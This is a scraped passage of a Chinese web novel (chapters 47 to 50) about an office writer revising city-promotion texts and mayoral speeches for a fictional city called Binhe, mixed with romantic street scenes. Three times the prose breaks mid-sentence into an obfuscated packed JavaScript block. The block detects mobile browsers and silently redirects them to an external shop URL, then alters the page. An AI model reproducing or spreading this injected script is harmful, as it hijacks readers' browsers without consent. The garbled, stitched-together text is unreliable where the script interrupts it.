滨河现辖……5个区和向上、槐间、兰原3个县，市域总面积1.31万平方公里，其中市区面积1631.6平方公里。境内居住着汉、回、满、东乡、裕固等38个民族，全市总人口314万人，其中城市人口207万人。滨河深居大陆腹地，市区东西黄河穿城而过，南北群山环抱，属中温带大陆性气候，年均气温11.2℃，年均降水量327毫米。 滨河是一座具有悠久历史文化的城市。早在5000年前的新石器时代，华夏民族的先民就在这里繁衍生息。……时设立县治……。隋初改置滨河总管府，始称滨河。汉唐以来，滨河作为丝绸之路上的交通要道和商埠重镇，在……经济文化交流中发挥过重要作用。清康熙时隶河陇行省，省会由……迁至滨河。1941年正式设市。……滨河解放。 滨河是黄河上游资源富集区的中心。境内探明的有黑色金属、有色金属、贵金属、稀土等35个矿种，极具潜在经济开发价值。滨河水力资源丰富，以滨河为中心的黄河上游干流段可建25座大中型水电站，现已建成……峡、……峡、……峡和……峡等水电站。滨河是闻名全国的“瓜果城”，盛产白兰瓜、黄河蜜瓜、软儿梨、白粉桃等瓜果，百合、黑瓜子、玫瑰、水烟等土特产品蜚声中外，素有“看景下杭州、品瓜上滨河”之说。滨河的旅游资源有着广阔的开发前景，市域内有我国保存最为完好的土司衙门——……土司衙门，有“天下黄河第一桥”——……铁桥，有“陇右第一名山”——……山，有国家级森林公园——……沟、……沟、……山，有“母亲河、生命河”的象征——黄河母亲雕像，还有“陇上十三陵”——……王墓群等。滨河还是丝绸之路大旅游区的中心，东有……山、……山，西有……寺，南有……寺，北有……窟。 47. 第 47 章 第四十七章幸福归路 滨河是大西北的交通通信枢纽。……四大铁路干线交汇于此，滨河西货站是西北地区规模最大、技术最先进的货运站和新亚欧大陆桥上重要的集装箱转运中心。公路有六条国道在这里交汇，辐射周边地区的高速公路有四条已竣工通车。新扩建的滨河北大川机场与国内30多个城市直接通航，还开通直飞……等国家和地区的旅游包机航线，是目前西北地区一流的机场。黄河滨河段航运正在开发之中，现已开通近40公里的市内旅游航道。滨河的通信水平居全国先进行列，……等四条数字光缆主干线以滨河为主节点，光缆、微波、卫星通信网络初步形成，电信宽带网投入运营。 滨河是黄河上游重要的工业城市。现已形成以石油化工、有色冶金、机械电子、医药、建材为主体，与西北资源开发相配套，门类比较齐全的工业体系，成为我国重要的原材料和重化工基地。华石油滨河石化公司、滨河铝厂……等一批大中型企业在西北乃至全国占有重要地位，润滑油、合成橡胶、电解铝、精纺呢绒、啤酒和中成药等产品在全国享有盛誉。滨河拥有高新技术产业开发区和经济技术开发区两个国家级开发区，已经培育出高压径向柱塞泵、海默仪器、记忆合金、人造石英晶体等一批拥有自主知识产权、国内首创的高新技术产业项目，正在成为招商引资的窗口和新的经济增长点。 滨河是建设中的西北商贸中心。古代曾是著名的“茶马互市”，……成立后为全国32个物流中心之一，1994年国家批准滨河进行建设商贸中心改革试点。现已发展成为西部地区重要的商品集散中心，初步形成大商贸、大流通、大市场格局，人流、物流、资金流、信息流日益活跃，商品辐射面达到西部8个省区、近400万平方公里和3亿多人口，在开拓西部大市场中具有很强的集聚辐射功能。全市拥有各类商业、饮食、服务网点8万多个，各类消费品、生产资料和生产要素市场220多处。 滨河是富有生机的内陆开放城市。1992年被国家批准为内陆开放城市以来，市委、市政府制定出台了一系列优惠政策，成立了外引内联投资项目联合服务办公室，实行公开承诺和限时服务、联合办公等制度，对外开放不断扩大。特别是每年一届的“华夏国·滨河投资贸易洽谈会”，搭起了招商引资的重要平台。滨河同世界上80多个国家和地区建立了经贸合作关系，与国内外21个城市缔结为友好城市，形成了比较广泛的经济交流合作网络。 滨河是著名的科教文化城。全市拥有以国家科学院滨河分院为代表的科研开发机构近700家，以重离子加速器为代表的国家重点实验室9个，以滨河大学为代表的高等院校18所，各类专业技术人员近30万人，人才密度和综合科技实力居全国大中城市前列。文化事业坚持“做西部文章、创全国一流”的思路，推出了……等精品杰作，《又见莫高》被评为2004年国家十大舞台艺术精品工程剧目。滨河太平鼓气势磅礴，享有“天下第一鼓”的美称。” “市情写得不错，你再修改完善，我感觉后面把我们怎么干的思路补充上，顺带发出邀请来滨投资发展什么的。达处长你看这样修改怎么样？！”达恩豪把材料交给金学盛，金学盛当时看了，也没有表什么态，达恩豪原意为材料过关了，交差了，可是没想到，第二天上午，在单位上班，又被金学盛打电话叫去，对他这样说道。 “好的，金主任，我去调整修改。”不能蒙哄过关，达恩豪只能硬着头皮继续干，铁定的材料要返工了，还是拿回来修改完善提高，错在自己民，就低声下气，对金学盛主任这样满口承当道。 达恩豪又加班加点，修改了两天，清样稿交给金学盛看了，通过，定稿了。篇幅增加到页多字，材料的大意内容是这样的： “滨河市情简介 滨河是河陇省省会，在大西北处于“座中四联”的位置。建国五十多年特别是改革开放以来，滨河经济和社会各项事业蓬勃发展，综合经济实力进入全国大中城市50强，成为黄河上游重要的经济中心，西陇海滨新经济带的重要支撑点和辐射源。 滨河现辖城中、三滩、西城、桃海、海石5个区和向上、槐间、兰原3个县，市域总面积1.31万平方公里，其中市区面积1631.6平方公里。境内居住着汉、回、满、东乡、裕固等38个民族，总人口314万人，其中城市人口207万人。滨河深居大陆腹地，属中温带大陆性气候，年均气温11.2℃，年均降水量327毫米。 滨河是一座具有悠久历史文化的城市。早在5000年前的新石器时代，华夏民族的先民就在这里繁衍生息。西汉时设立县治……隋初改置滨河总管府，始称滨河。汉唐以来，滨河作为丝绸之路上的商埠重镇，在华西经济文化交流中发挥过重要作用。清康熙时隶河陇行省，省会由……迁至滨河。1941年正式设市。1949年8月26日滨河解放。 滨河是黄河上游资源富集区的中心。境内探明的有黑色金属、有色金属、贵金属、稀土等35个矿种，极具开发价值。滨河水力资源丰富，以滨河为中心的黄河上游干流段可建25座大中型水电站，现已建成……峡、……峡、……峡和……峡等水电站。国内著名水利工程——引河入北大川工程已建成通水，浇灌面积达到80万亩。滨河是闻名全国的“瓜果城”，盛产白兰瓜、黄河蜜瓜、软儿梨、白粉桃等瓜果，百合、黑瓜子、玫瑰、水烟等土特产品蜚声中外，素有“看景下杭州、品瓜上滨河”之说。滨河的旅游资源有着广阔的开发前景，市域内有我国保存最为完好的土司衙门——……土司衙门，有“天下黄河第一桥”——……铁桥，有“陇右第一名山”——……山，有国家级森林公园——…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14335590|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沟、……沟、……山等公园，还有“陇上十三陵”——……王墓群等。滨河还是丝绸之路大旅游区的中心，东有……山、……山，西有……寺，南有……寺，北有……窟，人文和自然景观荟萃。 滨河是大西北的交通通信枢纽。陇海、滨新、滨青、包滨四大铁路干线交汇于此，滨河西货站是西北地区规模最大、技术最先进的货运站和新亚欧大陆桥上重要的集装箱转运中心。公路有六条国道在这里交汇。新扩建的滨河北大川机场与国内30多个城市直接通航，还开通直飞新加坡、日本、香港等国家和地区的旅游包机航线，是目前西北地区一流的机场。滨河的通信水平居全国先进行列，西滨乌、京呼银滨等四条数字光缆主干线以滨河为主节点，光缆、微波、卫星通信网络初步形成，电信宽带网投入运营。 滨河是黄河上游重要的工业城市。现已形成以石油化工、有色冶金、机械电子、医药、建材为主体，与西北资源开发相配套，门类比较齐全的工业体系，成为我国重要的原材料和重化工基地。华石油滨河石化公司、滨河生物制品研究所、滨河铝厂……等一批大中型企业在西北乃至全国占有重要地位，润滑油、合成橡胶、电解铝、精纺呢绒、啤酒和中成药等产品在全国享有盛誉。滨河拥有高新技术产业开发区和经济技术开发区两个国家级开发区，已经培育出高压径向柱塞泵、海默仪器、记忆合金、人造石英晶体等一批拥有自主知识产权、国内首创的高新技术产业项目，正在成为招商引资的窗口和新的经济增长点。 滨河是建设中的西北商贸中心。古代曾是著名的“茶马互市”，……为全国32个物流中心之一，1994年国家批准滨河进行建设商贸中心改革试点。现已发展成为西部地区重要的商品集散中心，初步形成大商贸、大流通、大市场格局，人流、物流、资金流、信息流日益活跃，商品辐射面达到西部8个省区、近400万平方公里和3亿多人口，在开拓西部大市场中具有很强的集聚辐射功能。全市拥有各类商业、饮食、服务网点8万多个，各类消费品、生产资料和生产要素市场323处，其中年成交额过亿元的市场有33个，4个市场进入全国同类市场50强，2个市场被国家确定为全国重点市场。……全市第三产业实现增加值达到209亿元，占生产总值的比重上升到43.4%。 滨河是富有生机的内陆开放城市。市委、市政府制定出台了一系列优惠政策，成立了外引内联投资项目联合服务办公室，市政务大厅挂牌运行，实行公开承诺和限时服务、联合办公等制度，对外开放不断扩大。特别是每年一届的“华夏国·滨河投资贸易洽谈会”，搭起了招商引资的重要平台。……全市批准设立外商投资企业1440家。滨河已与80多个国家和地区建立了经贸合作关系，与国内外21个城市缔结为友好城市，形成了比较广泛的经济交流合作网络。 48. 第 48 章 第四十八章谁娃谁抱 滨河是著名的科教文化城。全市拥有以国家科学院滨河分院为代表的科研开发机构近700家，以重离子加速器为代表的国家重点实验室9个，以滨河大学为代表的高等院校17所，各类专业技术人员近30万人，人才密度和综合科技实力居全国大中城市前列。文化事业坚持“做西部文章、创全国一流”的思路，推出了《又见莫高》……等精品杰作，其中《又见莫高》被誉为新世纪西部第一文化品牌。闻名遐迩的……杂志，被称为中国期刊第一品牌，成为继……之后世界排名第四、亚洲排名第一的综合类期刊。以……杂志命名的“……大道”，是近年来滨河推出的“城市名片”之一。 近年来，在西部大开发的强力推动下，滨河经济和社会发展取得了显著成效，国内生产总值在连续4年保持两位数增长的基础上，……全市实现生产总值242.25亿元，比上年同期增长11.64%；固定资产投资完成87.28亿元，增长8.54%；实现社会消费品零售总额120.47亿元，增长12.1%；全市一般预算收入完成14.27亿元，增长18.6%；城镇居民人均可支配收入和农民人均纯收入达到4315元和1102.44元，分别增长12.84%和10.63%。今年以来，我市按照省委、省政府“发展抓项目、改革抓企业”的战略决策，确定了“创业实干打硬仗、建设创业型城市”的工作部署和“提前、升位、两位数”的目标任务，重点实施了项目建设“……攻坚计划”和国企改革“……攻坚计划”。“……攻坚计划”就是从今年起用3年时间，突出抓好能够带动全局发展、促进结构优化、体现区域特色的重大项目建设，固定资产投资达到900亿元，以新型石化城、滨河高新区等9大产业集聚区为增长极，精心谋划和建设几个上百亿元的投资密集区，……全市生产总值达到700亿元。国企改革“……攻坚计划”，即从今年起，用3年左右时间基本完成国企改革阶段性任务，建立起比较完善的国有资产监督运营新体系；使90%左右的市属国有大中型企业完成股份制改革，建立起比较完善的法人治理结构和现代产权制度，90%以上的市属国有企业实现职工身份置换；35户左右长期亏损、资不抵债的国有企业通过依法破产或政策性破产，彻底退出国有序列。目前，这两场硬仗进展顺利，有力地带动和促进了全市整体工作。 目前，滨河已成为国内外投资者看准的投资回报率高、发展环境优越的创业热土；热情好客的滨河人民正期盼国内外客商来滨创业发展！” …… 达恩豪下午下班回家，吃过晚饭，看完了新闻联播，继续看了两集电视连续剧，上床休息，抽着一盒七元钱的滨河牌香烟，却操着一盒七十五元软华夏烟的心，心累，精神疲惫，身体也困乏，很快就睡着了…… 这小伙儿和这美女，只好尽量拖延时间，尽量与退场的人群离得远一点，还是跟在了退场的人群后面，好处是这人群不是大群，而是小帮小群，微微前倾着身子，爬着稍稍向这电影院大门向上倾斜的过道，放影厅中间向上的坡路，脚下感觉有点生硬发冷，是水泥打的地平，而且是左右方向一楞一坎的防滑设计，脚踩上去有些硌脚底子。 出了这影院的大门，小县城的夜晚，大街道上灯火昏暗，实话说，比影院里面也亮不到那儿去。看完电影的人们都作鸟兽散，东两个，西三个，过街道的两个，人行道上走着几个。 这小伙儿和这美女，在这影剧院的大门口尽量放慢脚步，甚至原地踏步，磨磨蹭蹭，等着前面走着的人早点离开，早点走远了。 这小伙儿走在前面，这美女跟在后面。过了电影门前的街道，这小伙稍一磨蹭，等着和这美女一并齐而行。 这小伙儿和这美女，俩个人来到县邮局，兰原宾馆和县委县政府大院外面的丁字路口，右拐沿街道边的人行道，向北而行。 这时，大街道上空荡荡的，偶尔有一辆车驶过，卷起一阵凉风。看完夜场电影的人都各自回家了，这美女和这小伙儿看不到了。 乘此良机，这小伙儿斜走靠近这美女，把一只右手悄悄一抬，去抓美女的一只左手。这美女慌忙抽出，挣脱。黑暗中这美女的表情，这小伙儿也看不清。 这小伙儿和这美女又并排走了好几步，这小伙儿不死心，又老毛病再犯，边走边靠，一把又把这美女的手给拉着了。 这回这美女虽然是挣扎了一下，但这小伙儿比上回抓得更紧了，没有挣脱，这美女也就不再挣扎了，任这小伙儿牵着一只手走着。 这小伙儿心里无比地幸福，终于牵住无比的甜蜜时光。 这小伙儿和这美女又并排走了好几步，这美女也放开了点，边转头东张西望，路上再没有人了，就把手翻过来，和这小伙儿两手相握在一齐了。 这美女心头涌上浓浓的甜蜜，反手抓住了的酽酽幸福！ 这小伙儿和这美女手握手，又走了好几步，这小伙儿得蜀望陇，登鼻子上脸了，松开了这美女的手，收回来向前一揽，一只胳膊就环抱在这美女的腰部了。 这美女想往着紧走一走挣脱，可这时被这小伙儿往自己身过轻轻一扣，这美女没有得成，只是微微颤抖了一下身躯，也就任由这小伙儿一只臂膀搂着，一边向前慢慢地走着。 这小伙儿心里十分地幸福，尽情地享受这甜蜜的分分秒秒！ 这美女感觉十分地兴奋刺激，陶醉在从未有过的幸福甜蜜中…… …… 第二天，在单位上班时间，办公室通知开会，地点在金学盛办公室。达恩豪也不知道什么会议内容，可能是主任主持，但都由谁参加不清楚。 “……刚才我粗略算了一下，总共有8个材料，需要汇总整理，认真校对修订，存档备用，是我们留给后人，尤其是像我们一样，写材料的研究人的宝贵财富，由经济发展研究处达处长负责，因为新亚欧大陆桥国际研讨会的材料，都是达处长主笔起草的，所以你比较熟悉这材料吗，一定要努力提高文稿汇总整理的水平，保质保量按期完成任务……单位其他同志都要参与进来，搞好材料汇总整理的服务等其他相关工作……达处长，我考虑，你先抓紧把丝绸之路市长论坛欢迎词、国际研讨会开幕式致辞和协调机机制会市长发言，这3个材料先汇总整理出来，最多用一周左右时间搞完……”主任又给达恩豪安排了新任务。参加会议的除了单位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345747|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个领导，还有办公室佟若贤搞会议记录外，就是达恩豪等，经常写材料的四五个人。 说是其他人员帮助干活，其实就达恩豪一个人整理，其他人都是拉来顶数字，托衬一下，陪个绑而矣。把个汇总整理给去年会议上的领导讲话等材料，还需要其他人来搞什么狗屁服务？！不是多此一举，是达恩豪的工作，其他人也可以乘机沾点光，参与了一项工作，年终有一交待。 达恩豪用了一天多时间，正常上班时间，不加班，加个点，早上班，中午不休息，没有午休习惯，下班迟上半小时到一小时，就把那3份材料整理出来了。 因为是他曾经主笔写得，好像记得，第一个材料内容大体如下： “联合国第二届丝绸之路市长论坛预备会上的欢迎词 河陇省省长助理、滨河市政府市长常…… （2007年7月3日） 尊敬的各位领导、各位来宾，同志们、朋友们： 大家好！在这个丰收的盛夏，在这美丽的黄河之滨，我们又一次迎来了新亚欧大陆桥区域经济合作国际研讨会。今天，我们能够在这里欢聚一堂，共商发展大计，共同探讨“新丝绸之路”沿线国家和地区的经济发展，尤其是沿线城市的旅游资源开发问题，我感到万分高兴。在此，我谨代表滨河市政府和326万热情好客的滨河人民，对本届会议的顺利召开，表示热烈的祝贺！向出席会议的各位领导，各位来宾和同志们、朋友们表示热烈的欢迎和诚挚的问候！ 滨河是河陇省省会,现辖5区3县，地域总面积1.31万平方公里，其中市区面积1631.6平方公里。境内居住着汉、回、满、东乡、裕固等38个民族，总人口326万。滨河自古就是我国西北地区的交通要冲和著名的“茶马互市”，在东西方经济文化交流中发挥过重要作用。随着新亚欧大陆桥的开通，滨河已成为我国东西部交流合作和通往中亚、西亚、中东及欧洲的重要通道，成为黄河上游重要的经济中心、“新丝绸之路”上的战略支撑点和经济辐射源。正是这一特殊的地理位置和区位条件，使滨河在区域合作中具备了良好的开发基础和比较优势。一是有着经济区位优势。滨河地处西北“座中四联”位置和丝绸之路大旅游区的中心，发挥着承东启西、连南济北的作用。二是有着交通通信优势。滨河是西北最大的交通通信枢纽和网络中心，4大铁路干线、6条国道交汇于此，滨河北大川机场直通30多个国内外城市，4条数字光缆主干线以滨河为主节点。三是有着工业基础优势。滨河已形成了以石油化工、有色冶金、机械电子、医药、建材为主体，门类比较齐全的工业体系。而且拥有两个国家级开发区，一批高新技术产业正在迅速兴起，资源加工增值能力不断增强。四是有着市场集散优势。滨河是全国首批重点建设的工业城市和32个物流中心之一，人流、物流、资金流、信息流非常活跃，市场辐射面达到西部8个省区、近400万平方公里和3亿多人口。五是有着科教文化优势。滨河集中了全省80%以上的科研机构和专业人才，拥有科研开发机构近700家、国家重点实验室10个、高等院校18所、两院院士13人，人才密度和科技实力居全国大中城市前列。 49. 第 49 章 第四十九章挂名沾光 近年来，我们以新亚欧大陆桥为依托，按照‘一点多线、以线串点’的构架，加快培育和建设西陇海滨新线经济带滨河段，逐步形成了‘两圈五带一框架’的区域经济合作新体系，有力地促进了经济社会的快速发展。当前,我们正处在‘十一五’期间，对滨河来讲是一个非常重要的发展机遇期，滨河的发展离不开区域经济的迅速推进，我们要实现生产总值突破1000亿大关，人均达到3万元的奋斗目标，更离不开与兄弟城市和周边地区的广泛交流与合作。 各位领导、各位来宾，‘相聚自缘分,相约更真诚’。举滨河市内有着国家4A级……山公园、……山公园、黄河母亲、水车博览园、……铁桥等众多旅游景点，还有着更多需要进一步开发的旅游资源，存在着广阔的发展前景。我们非常欢迎各位同志和朋友们能通过这次活动，去了解滨河、认识滨河、宣传滨河；也热切期望着大家能为滨河的美好未来积极建言献策，传经送宝；更强烈期待着各地朋友来滨河开发兴业、参观访问！ 最后，预祝第二届丝绸之路市长论坛取得圆满成功！祝各位领导和来宾身体健□□活愉快！ 谢谢大家！” 这第二个材料内容大体如下： “2007新亚欧大陆桥区域经济合作国际研讨会开幕式致辞 河陇省政府省长助理、滨河市政府市长常…… 尊敬的各位领导、各位来宾，女士们、先生们、朋友们： 上午好！ 在滨河最美好的季节，2007新亚欧大陆桥区域经济合作国际研讨会暨新丝绸之路市长论坛、物流信息化论坛、企业家峰会今天隆重开幕了。这是陆桥沿线城市深化交流合作、共商发展大计、促进区域联动的一次重要盛会。在此，我代表……滨河市委、滨河市政府和全市326万各族人民，向莅临大会的联合国开发计划署和国府院及有关部委领导，国际机构、国际组织和国外城市代表，陆桥沿线和友好城市代表，国内外专家学者，以及企业界和新闻界的朋友们表示热烈的欢迎和衷心的感谢！ 新亚欧大陆桥开通以来，沿线各城市本着‘信任、合作、发展’的原则，共同研究解决制约区域经济发展的重大问题，积极开展多领域、多层次的交流与合作，有力促进了沿桥地区资源开发和经济互动。历次研讨会、联谊会和国际协调机制工作会的成功召开，为沿桥城市、企业、国际机构建立长效互惠机制积累了丰富经验，为新亚欧大陆桥经济带的开发建设发挥了积极作用。本次大会顺应区域经济一体化不断发展的趋势，主要就旅游资源开发、现代物流信息平台建设和企业如何参与新丝绸之路开发等问题进行深入研讨，必将对进一步推动陆桥区域经济联动发展产生重要影响。 滨河是河陇省省会，是西部地区重要的经济中心和充满活力的内陆开放城市。经过多年的开发建设，经济综合实力显著增强，形成了明显的比较优势。特别是改革开放和西部大开发以来，滨河经济建设和社会各项事业发展取得了新的成就，城市竞争力进一步提高，已成为我国重要的能源、原材料和重化工业基地，西部地区重要的交通通信枢纽和商贸中心，享有‘丝路重镇’、‘黄河明珠’、‘山水名城’和‘水车之都’的美誉。 加强合作、增进共识、推动发展，是当前新亚欧大陆桥沿线城市共同面临的重大课题。滨河作为新亚欧大陆桥上的重要支点城市，在陆桥经济带建设中具有桥梁纽带作用。随着区域经济一体化进程的加快，滨河的发展已经与陆桥经济带的开发、与沿线城市的繁荣振兴紧密联系在一起。我们热切期盼各位领导和专家学者给滨河留下宝贵意见和建议，也希望国家有关方面和沿线城市搭建更多的交流合作平台，在促进陆桥区域经济紧密合作、有效联动和跨越发展上取得丰硕成果。 女士们、先生们，这次新亚欧大陆桥区域经济合作国际研讨会，为我们加强合作、促进发展提供了契机和平台。让我们通过多种形式，广泛深入交流，深化合作发展，形成更多共识，为促进陆桥区域经济发展做出积极贡献！ 最后，祝本次研讨会暨市长论坛、物流信息化论坛、企业家峰会取得圆满成功！祝各位领导和嘉宾身体健□□活愉快，工作顺利！ 谢谢大家！” 这第三个材料内容大体如下： “发挥支点城市作用促进陆桥经济发展 —在新亚欧大陆桥国际协调机制第七次工作会议上的发言 河陇省政府省长助理、滨河市政府市长常…… 尊敬的各位领导、各位来宾，女士们、先生们、朋友们： 这次新亚欧大陆桥区域经济合作国际研讨会在滨河举办，是今年我市经济社会生活中的一件大事，体现了联合国开发计划署、国家有关部委和国内外兄弟城市对滨河的关心和支持。这里，我代表……滨河市委、滨河市政府，对各位领导、各位嘉宾的到来表示热烈的欢迎！对大家长期以来给予滨河各方面工作的指导和帮助表示衷心的感谢！ 新亚欧大陆桥国际协调机制运行以来，每年通过举办国际研讨会等多种形式，轮流在沿桥城市就区域合作与交流中的重大问题深入展开讨论，对促进陆桥经济繁荣和崛起发挥了重要作用。这次滨河会议，协调机制紧密结合陆桥开发建设的实际，确定了旅游资源开发、物流信息平台建设、企业参与新丝绸之路开发等研讨主题，对加强沿桥城市经济文化交流，进一步扩大对外开放，加快经济国际化步伐，促进各方面工作都有重要意义。作为本次会议的承办城市，滨河市委、市政府对筹备工作高度重视，去年以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354017|150112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来在新亚欧大陆桥国际协调机制的精心指导和兄弟城市的大力支持下，积极开始谋划，目前各项准备工作全部就绪。这里也希望各位领导和来宾多提宝贵意见，指导和帮助我们把这次国际研讨会办好。 滨河是河陇省省会，现辖5区3县，总人口326万人，总面积1.31万平方公里。作为古丝绸之路重要的交通要道和著名的‘茶马互市’，滨河曾在东西方经济文化交流中发挥过重要作用。……作为国家首批重点建设的工业城市和全国32个物流中心之一，得到了大规模的开发建设。改革开放特别是西部大开发以来，我们抢抓机遇，加快发展，经济建设和各项社会事业都有了大的进步，形成了明显的经济区位、工业基础、市场集散、科技人才、旅游文化等比较优势，目前已成为我国西部地区重要的经济中心，西陇海滨新经济带重要的支撑点和辐射源，综合经济实力位居全国大中城市50强。面向未来，滨河将紧紧抓住新世纪重要的战略机遇期，坚持以……统领全局，围绕建设区域性现代化中心城市，加快推进……与‘和谐滨河’建设进程，不断提高经济发展的市场化水平、城市发展的科学化水平、人均占有社会公共资源水平、人居环境水平、社会和谐文明进步水平。力争到“十一五”末，全市生产总值达到1330亿元，人均生产总值超过3万元。 新亚欧大陆桥的开发建设，为滨河和沿桥各个城市带来了新的发展机遇，如何发挥好区域中心城市在推动陆桥经济繁荣发展中的重要作用，对于密切沿桥城市之间的联系，深化区域交流与合作，必将产生重大影响。我们将本着资源共享、优势互补、互利互惠、共同发展的原则，全方位、多层次加强与沿桥城市及周边地区的联合协作，也希望国家有关部委和兄弟城市给予指导和支持。” …… 下午不知不觉就已过了下班时间，达恩豪往右下角稍一扭头，瞄一眼电脑屏幕上的时间，已经是五点半过了，下班半个小时多了，怪不得这时办公大楼上安静了许多。 达恩豪赶紧关了电脑，又转身关了窗户，返身走到了经济发展研究处的办公室门口，一边随手一拉门把手，一边走出房间门，“哐铛”一响，把门关上锁住了。 下楼出大院，走人行道西行，等红灯过什字路口，绕人民公园整整半圈，上黄河大桥，从桥南头走到北头，直行一段路程，到了第一个什字左拐西行，不到一站公交车路，就到了小区门口。 上了小区西面大楼一个单元，爬到七楼，右手北面的门，红木纹的防盗门，就是达恩豪的家了。 达恩豪从腰间的皮带上摘下钥匙链，找出一把熟悉的钥匙，打开了房门，走进去，返身关门锁上。 老婆黄爱佳已做好了饭，在家等他回来一齐吃晚饭。这时，饭菜做好了，都已摆在客厅茶几上。 50. 第 50 章 第五十章汇总材料 “天天下班都不按时回家，单位上都忙啥呢？”老婆黄爱佳坐在沙发上边刷手机，边对老公达恩豪经常不按时回家吃饭十分不满，又是埋怨又是质问，这样对达恩豪说道。 “加会班弄材料，我们研究室除了材料就是材料。”老实人达恩豪，赶紧给老婆黄爱佳先是这样解释道，然后进家里的卫生间洗手准备吃饭。 “饭早都做好，还不回家吃，现在都冷了吧？！”达恩豪出了自家的卫生间来到客厅，老婆黄爱佳丢下手机，继续这样数落自己的老公道。 “温这里，现在吃正好，医生说烫了吃对食道不好。”达恩豪坐在客厅茶几后面的小凳子上，伸手一摸装满饭的白瓷碗，脸上挂上了微笑，有些侥幸地对老婆黄爱佳这样说道。 达恩豪和老婆黄爱佳一齐吃过晚饭，老婆黄爱佳洗锅刷碗收拾厨房去了，他拿遥控板打开电视看新闻。新闻看完了，和老婆黄爱佳一齐追一部新开播的电视剧。 达恩豪看完电视，躺在床上休息，不知不觉中就睡着了…… 这小伙儿和这美女，夜里十点多，这小伙儿搂抱着这美女，走在兰原县无人的大街上，路灯稀疏得有些神秘，灯光昏暗得有些暧昧。 “佳转身，我们拥抱一下！”这小伙儿见大街上空无一人，贼心又起，右臂环抱这美女的腰间，向这美女提出了更加非份之要求。 “……”这美女无言以对，心想每次都是这样的得寸进尺，决心不予理会，看他怎么样。 这小伙儿以为这美女不开口是默许，也是心血上来了，情爱所至，搂抱着这美女走着，突然就一转身，左手臂也一搂抱，就把这美女给一个熊抱，看把这美女给搂抱得一人严实，立刻俩个异性的青年人，就粘贴在了一起！ 空旷的大街上，一对热恋中的情人，粘连在了一起，缠绵在了一起。两个年轻男女的躯体融合在一块儿，停在了这大街的人行道上，一动不动！ 仍时光悄悄流失，这美女静静地品尝幸福的来袭，甜蜜和降临！ 仍时光默默开溜，这小伙儿定定地体验甜蜜的追求，幸福的执着！ …… 达恩豪第二天在单位上班，花了一天时间，加班加点，不知耗费脑细胞多少亿，又汇总校对修订好了新亚欧大陆桥国际研讨会的一份材料。这份材料比较长比较复杂，大至内容是： “滨河发展报告 ……滨河市委滨河市政府 （2007年7月） 滨河位于中国陆域版图的几何中心，地处黄土、青藏、蒙古高原交汇处，在大西北处于‘座中四连’的独特位置。全市总面积1.31万平方公里，其中市区面积1631.6平方公里，人口326万，其中非农业人口185万人。城区大河奔流，两山夹峙，具有浓厚的西北民族风情和独特的黄河文化。作为建国后国家首批重点建设的工业城市，经过多年的发展，现已形成了以石油化工、有色冶金、机械电子、医药、纺织、建材为主体的门类比较齐全的工业体系，综合实力位居全国大中城市50强。进入新世纪，滨河面临着新的发展机遇，正大步走向新的辉煌。 （一） 改革开放以来，滨河经济快速发展，社会事业长足进步。特别是跨入新世纪后，滨河市紧紧抓住西部大开发的战略机遇，以发展为第一要务，确立了‘创业实干打硬仗，建设创业型城市’的指导思想，明确了‘提前、升位、两位数’的发展目标，提出了以‘项目为纲，改革为先，环境为要，稳定为上，民生为重，……建为本’的工作方针，国民经济持续快速健康协调发展，成为滨河改革开放以来经济速度增长最快、人民得到实惠最多的时期。2006年全市地区生产总值突破600亿元大关，达到638亿元，人均生产总值突破2万元大关，地区性财政收入突破100亿元。城乡居民收入不断提高，城市居民人均可支配收入达到9418元，农民人均纯收入达到2898元，分别比上年增长10.42％和6.82％，已总体达到小康水平。滨河先后获得了全国双拥模范城‘五连冠’、全国优秀旅游城市、全国科技进步先进城市、中国最具魅力金融生态城市、中国最佳商务城市、世界特色魅力城市200强及全省园林城市、社会治安免检城市等荣誉称号。以‘治庸’计划、‘一把手’上电视为核心的改革创新，被国内社科界和新闻媒体誉为治政理事的‘滨河模式’。以‘393’攻坚计划为核心的国有企业改革，被国府院国资委称为新一轮国企‘无震荡’改革的‘滨河模式’。‘民情流水线’等基层……建工作被国内许多地区借鉴和推广。 （二） ‘十一五’时期，是新世纪重要战略机遇期关键的五年，也是滨河全面建设小康社会的重要时期。全市上下围绕市十一次……代会确定的发展蓝图和主要任务，认真组织实施‘十一五规划，提出‘围绕一个目标，实现两个翻番，完成三大任务，取得四大进展，提升五个水平’的‘12345’总体设想，努力实现滨河经济社会各项事业又好又快发展。 围绕‘一个目标’：就是坚持以……和构建……社会统领全局，着力推进经济结构战略性调整和经济增长方式转变，加快工业化、城镇化、市场化、信息化进程，努力实现滨河经济社会又好又快发展。 